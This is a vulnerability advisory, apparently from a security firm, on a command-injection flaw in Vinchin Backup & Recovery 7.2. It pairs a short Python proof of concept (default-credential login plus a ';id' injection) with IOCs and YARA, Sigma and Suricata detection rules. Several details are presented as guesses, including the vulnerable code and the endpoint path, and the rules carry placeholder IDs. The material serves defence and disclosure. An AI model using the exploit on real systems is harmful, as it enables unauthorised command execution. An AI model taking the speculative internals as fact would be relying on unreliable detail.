CVE-2024-22900

Executive Summary

CVE-2024-22900 is an authenticated remote code execution (RCE) vulnerability in Vinchin Backup & Recovery v7.2. The flaw resides in the setNetworkCardInfo function, allowing an authenticated attacker to execute arbitrary commands on the target system. This vulnerability poses a critical risk to enterprise backup infrastructure, as successful exploitation could lead to full system compromise, data exfiltration, or ransomware deployment. The vendor has not released a patch, and no official advisory is available. Public proof-of-concept (PoC) code exists, increasing the urgency for defensive measures.

CVSS Breakdown & Threat Level

The CVSS score is not officially assigned, but based on the nature of the vulnerability (authenticated RCE with network access), the estimated score is 8.8 (High).

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authentication
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Threat Level: Critical. Exploitation is straightforward with low complexity and no user interaction beyond authentication.

Deep Dive & Mechanics

The vulnerability exists in the setNetworkCardInfo function, which is part of the Vinchin Backup & Recovery management interface. This function is designed to update network card configuration parameters. Due to insufficient input validation and sanitization, an authenticated attacker can inject arbitrary operating system commands into parameters such as ip, netmask, or gateway. The application likely passes these parameters directly to a shell command (e.g., ifconfig or ip), allowing command injection.

Attack Flow:

1. Attacker authenticates to the Vinchin web interface (default credentials or brute-force).
2. Attacker sends a crafted POST request to the vulnerable endpoint (e.g., /api/setNetworkCardInfo).
3. The request includes malicious payloads in parameters like ip=127.0.0.1;id.
4. The server executes the injected command, returning output to the attacker.

Root Cause: Lack of input sanitization and use of unsafe system calls (e.g., exec, system, or popen) in the backend.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code likely resembles:

# Vulnerable pseudocode
def setNetworkCardInfo(request):
    ip = request.POST.get('ip')
    netmask = request.POST.get('netmask')
    gateway = request.POST.get('gateway')
    # Unsafe: directly concatenating user input into shell command
    os.system(f"ifconfig eth0 {ip} netmask {netmask}")

A secure implementation would use parameterized commands or validate input strictly:

# Patched pseudocode
import subprocess
import re

def setNetworkCardInfo(request):
    ip = request.POST.get('ip')
    netmask = request.POST.get('netmask')
    gateway = request.POST.get('gateway')
    # Validate IP format
    if not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip):
        return error("Invalid IP")
    # Use subprocess with list to avoid shell injection
    subprocess.run(["ifconfig", "eth0", ip, "netmask", netmask])

Exploitation & Lab Setup

Red Team

Prerequisites:

• Vinchin Backup & Recovery v7.2 running on a target network.
• Valid credentials (e.g., admin:admin).

Exploit PoC (Python):

import requests

target = "http://target-ip:port"
session = requests.Session()

# Authenticate (adjust credentials as needed)
login_data = {"username": "admin", "password": "admin"}
session.post(f"{target}/api/login", data=login_data)

# Command injection payload
payload = "127.0.0.1;id"
exploit_data = {"ip": payload, "netmask": "255.255.255.0", "gateway": "192.168.1.1"}

response = session.post(f"{target}/api/setNetworkCardInfo", data=exploit_data)
print(response.text)

Expected Output: The id command output (e.g., uid=0(root) gid=0(root) groups=0(root)).

Blue Team

Detection Steps:

1. Monitor for unusual POST requests to /api/setNetworkCardInfo with suspicious parameters (e.g., semicolons, pipes, backticks).
2. Alert on shell command execution from the Vinchin process (e.g., ifconfig with injected commands).
3. Review authentication logs for brute-force attempts or use of default credentials.

Honeypot Setup:

• Deploy a decoy Vinchin instance with logging enabled.
• Capture all requests to /api/setNetworkCardInfo and analyze payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /api/setNetworkCardInfo containing shell metacharacters (;, |, `, $()).
  • Outbound connections from Vinchin server to attacker-controlled IPs (e.g., for reverse shell).
• File IOCs:
  • Unexpected files in /tmp/ or /var/www/html/ (e.g., shell.php, exploit.sh).
  • Modified system binaries (e.g., ls, ps replaced with backdoors).
• Process IOCs:
  • Unusual child processes spawned by the Vinchin service (e.g., bash, nc, python).
• Log IOCs:
  • Authentication logs showing repeated login attempts from a single IP.
  • Application logs containing command output in error messages.

Detection Engineering

YARA Rule

rule CVE_2024_22900_Vinchin_RCE {
    meta:
        description = "Detects exploit attempts for CVE-2024-22900 in Vinchin Backup & Recovery"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-22900"
    strings:
        $s1 = "setNetworkCardInfo" ascii wide nocase
        $s2 = "ip=" ascii wide nocase
        $s3 = "netmask=" ascii wide nocase
        $s4 = "gateway=" ascii wide nocase
        $s5 = ";" ascii wide
        $s6 = "|" ascii wide
        $s7 = "`" ascii wide
        $s8 = "$(" ascii wide
    condition:
        all of ($s1, $s2, $s3, $s4) and 1 of ($s5, $s6, $s7, $s8)
}

Sigma Rule

title: CVE-2024-22900 Vinchin Backup & Recovery RCE Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to /api/setNetworkCardInfo with command injection payloads
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-22900
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/setNetworkCardInfo'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in network configuration (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-22900 Vinchin Backup & Recovery RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/setNetworkCardInfo"; http_uri; content:"ip="; http_client_body; pcre:"/(?:;|\||\x60|\$\().*$/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Vinchin Backup & Recovery servers from untrusted networks (e.g., place behind a firewall with strict ACLs).
2. Change default credentials immediately and enforce strong password policies.
3. Monitor for exploitation attempts using the provided detection rules.
4. Apply virtual patching via WAF rules to block requests containing shell metacharacters in the ip, netmask, or gateway parameters.

Long-term Fix:

• Contact Vinchin support for an official patch. If unavailable, consider migrating to an alternative backup solution.
• Implement input validation and parameterized commands in the application code.
• Conduct a security audit of the entire Vinchin application.

Workaround:

• Disable the setNetworkCardInfo endpoint if not required, or restrict access to trusted IPs only.

Valters IT